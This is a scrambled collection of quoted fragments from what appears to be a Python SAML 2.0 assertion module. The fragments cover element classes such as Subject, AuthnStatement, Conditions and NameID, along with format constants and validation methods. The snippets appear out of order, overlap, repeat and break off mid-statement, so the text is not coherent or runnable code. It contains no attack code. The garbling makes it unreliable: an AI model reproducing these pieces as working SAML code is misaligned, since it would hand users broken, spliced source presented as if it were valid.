SubjectConfirmationDataType_,", "__setattr__(self, key, value): if key == \"text\": self.set_text(value) else: SamlBase.__setattr__(self,", "False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None,", "EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return", "c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase):", "def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element", "'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = (", "encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag:", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag = 'Action' c_namespace = NAMESPACE", "class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag = 'AuthnStatementType' c_namespace", "% XSI_NAMESPACE # idp and sp communicate usually about a", "NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:]", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag = 'AuthnStatement' c_namespace = NAMESPACE", "= one_time_use or [] self.proxy_restriction = proxy_restriction or [] self.not_before", "SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0}", "consent is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm),", "'{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref',", "return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag", "\"\"\" c_tag = 'BaseID' c_namespace = NAMESPACE c_children = BaseIDAbstractType_.c_children.copy()", "into a text-value xsd_types_props = { 'string': { 'type': _str,", "c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, not_before=None, not_on_or_after=None,", "'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_,", "extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt if text: self.set_text(text)", "# consent has been obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" #", "is not _str: try: value = to_type(value) except (TypeError, ValueError,", "From the Oasis SAML2 Technical Overview: \"The <NameID> element within", "name_format self.friendly_name = friendly_name # when consuming such elements, default", "element \"\"\" c_tag = 'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type =", "('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) def __init__(self,", "= NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order =", "= ('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None,", "element \"\"\" c_tag = 'AssertionURIRef' c_namespace = NAMESPACE c_value_type =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag = 'AssertionType' c_namespace = NAMESPACE", "# ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice']", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject'] = {\"min\": 0, \"max\":", "except KeyError: pass def set_text(self, value, base64encode=False): def _wrong_type_value(xsd, value):", "self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self):", "def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element", "value = to_type(value) except (TypeError, ValueError, KeyError): # the cast", "= 'StatementAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "type=type(value), value=value) raise ValueError(msg) # only work with six.string_types _str", "c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = (", "c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, attribute_value=None,", "len(self.one_time_use) != 1: raise Exception(\"Cannot be used more than once\")", "= ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id', 'name_id',", "Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string,", "IPv4 or RFC3513 IPv6 address if valid_ipv4(self.address) or valid_ipv6(self.address): pass", "not self.subject: raise MustValueError( \"An assertion with an AuthnStatement must", "= NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order =", "return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag", "subject name, Windows domain qualified name, Kerberos principal name, Entity", "'anyURI', True) def __init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer)", "= ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string)", "'evidence']) def __init__(self, action=None, evidence=None, resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None):", "for avaiable formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED),", "__init__(self, address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag = 'Issuer' c_namespace", "<AuthnContextDecl> and <AuthnContextDeclRef>\" ) return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_,", "\"\"\" c_tag = 'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type = {'base':", "\"\"\" c_tag = 'EncryptedAttribute' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy()", "consent has been obtained before the message has been initiated", "_str, 'to_text': ( lambda x: b64encode(x.encode()) if base64encode else x", "audience=None, count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address self.dns_name =", "lambda x: x, 'to_text': lambda x: x, }, '': {", "harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_,", "a text-value xsd_types_props = { 'string': { 'type': _str, 'to_type':", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag = 'AuthnContextType' c_namespace = NAMESPACE c_children", "have extension attributes\" ) return True else: SamlBase.verify(self) def set_type(self,", "class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag = 'SubjectConfirmationType' c_namespace", "'ProxyRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy()", "subject is in # custom subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\")", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag = 'AssertionIDRef' c_namespace = NAMESPACE", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience']) def", "AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action, 'ActionType':", "__init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "<NameID> element within a <Subject> offers the ability to provide", "'to_type': float, 'to_text': _str, }, 'boolean': { 'type': bool, 'to_type':", "class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag = 'OneTimeUse' c_namespace", "__init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements,", "'SubjectConfirmationData' c_namespace = NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy()", "ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag = 'SubjectLocalityType' c_namespace = NAMESPACE c_children", "return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try: return self._extatt[XSI_TYPE] except KeyError:", "class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag = 'AudienceRestrictionType' c_namespace", "c_tag = 'StatementAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "# The specification was later updated with errata, and the", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience", "c_tag = 'AudienceRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes", "= AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string)", "AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute':", "type(None), 'to_type': lambda x: None, 'to_text': lambda x: '', },", "self.dns_name = dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase):", "subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\"", "OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction", "EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy()", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address", "extension_attributes=extension_attributes) self.base_id = base_id self.name_id = name_id self.encrypted_id = encrypted_id", "'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None, signature=None, subject=None,", "value) # if we have added children to this node", "format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI =", "try: del self.extension_attributes[XSI_TYPE] except KeyError: pass try: del self._extatt[XSI_TYPE] except", "c_namespace = NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order", "= authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority = authenticating_authority or []", "or [] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The", "= ('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] = ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter']", "= AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string)", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action or [] self.evidence = evidence", "saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag =", "0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None, name_id=None, encrypted_id=None,", "del self._extatt[XSI_TYPE] except KeyError: pass def set_text(self, value, base64encode=False): def", "c_tag = 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "address self.dns_name = dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class", "statement MUST contain a subject element\") if self.authn_statement and not", "AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType':", "https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values for SAML attributes PROFILE_ATTRIBUTE_BASIC =", "the new version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based", "is denied DECISION_TYPE_DENY = \"Deny\" # the SAML authority cannot", "sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag = 'NameIDType'", "[] self.authn_statement = authn_statement or [] self.authz_decision_statement = authz_decision_statement or", "wether consent has been given and under # what conditions", "except KeyError: return \"\" def clear_type(self): try: del self.extension_attributes[XSI_TYPE] except", "(TypeError, ValueError, KeyError): # the cast failed _wrong_type_value(xsd=xsd_type, value=value) if", "name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a kerberos", "count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience", "def verify(self): if self.authn_context_decl and self.authn_context_decl_ref: raise Exception( \"Invalid Response:", "= 'Attribute' c_namespace = NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes =", "def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element", "XSI_NIL = '{%s}nil' % XSI_NAMESPACE # idp and sp communicate", "the Oasis SAML2 Technical Overview: \"The <NameID> element within a", "\"\"\" c_tag = 'SubjectConfirmationData' c_namespace = NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy()", "element From the Oasis SAML2 Technical Overview: \"The <NameID> element", "{XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self,", "subject element\") if self.authn_statement and not self.subject: raise MustValueError( \"An", "{\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None,", "EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return", "c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_):", "True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement'])", "EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer", "extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after = not_on_or_after self.recipient = recipient", "{\"min\": 0} c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion',", "('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the SAML authority's decision", "ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return", "saml2.validate import ShouldValueError from saml2.validate import valid_domain_name import saml2 from", "a profile outlines a set of rules describing how to", "= {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None, text=None,", "AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute", "CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been obtained implicitly CONSENT_IMPLICIT", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag = 'AuthnContextDecl' c_namespace = NAMESPACE", "AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext", "class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag = 'AuthnContextClassRef' c_namespace", "import xmlenc as xenc # authentication information fields NAMESPACE =", "subject_confirmation_data self.method = method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition or [] self.audience_restriction = audience_restriction", "[] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice", "= assertion_id_ref or [] self.assertion_uri_ref = assertion_uri_ref or [] self.assertion", "attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\"", "= SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The", "May 2 14:23:33 2011 by parse_xsd.py version 0.4. # #", "raise Exception( \"Attribute value base should not have extension attributes\"", "saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag =", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag = 'AuthnContext' c_namespace = NAMESPACE c_children", "c_children = AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality", "( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version'] = ('version',", "NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME", "identified by subject confirmation and must include a security header", "c_attributes['Decision'] = ('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence']) def __init__(self, action=None,", "Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType':", "AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy()", "Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType':", "= ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice', 'statement',", "[SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def", "AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality':", "'boolean': { 'type': bool, 'to_type': lambda x: { 'true': True,", "whitespace insignificant # and remove/trim/strip whitespace # and expect to", "self.authn_statement and not self.subject: raise MustValueError( \"An assertion with an", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag = 'AssertionURIRef' c_namespace = NAMESPACE", "\\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is key:value metadata shared with", "'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_,", "KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType':", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData']", "EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag = 'EncryptedElementType' c_namespace =", "base64 import b64encode from saml2.validate import valid_ipv4, MustValueError from saml2.validate", "= {\"min\": 1} c_child_order.extend(['audience']) def __init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None):", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag = 'OneTimeUse' c_namespace = NAMESPACE", "by arbitrary context # the specified action is permitted DECISION_TYPE_PERMIT", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace = NAMESPACE", "'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion',", "'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\":", "urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag = 'EncryptedAttribute' c_namespace = NAMESPACE c_children", "been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been obtained", "in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if we have added children", "c_cardinality['name_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id',", "SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = (", "and <AuthnContextDeclRef>\" ) return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string)", "return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag", "xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text', str) # cast to correct", "self.address = address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase):", "= SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef,", "return self def harvest_element_tree(self, tree): # Fill in the instance", "statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag:", "# an AuthnRequest is made to initiate authentication # authenticate", "= ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\": 1}", "not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "AuthnStatement must contain a Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string): return", "'ConditionsType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "is identified on behalf of the subject given private/public key", "= SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The", "= {\"min\": 0} c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = (", "or self.extension_elements: if XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase):", "when consuming such elements, default to NAME_FORMAT_UNSPECIFIED as NameFormat def", "= issue_instant def verify(self): # If no statement MUST contain", "key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info =", "c_tag = 'SubjectLocality' c_namespace = NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes", "to_text = xsd_type_props.get('to_text', str) # cast to correct type before", "extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format = format", "= sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag =", "'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_,", "SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI', True) def __init__(self, namespace=None, text=None,", 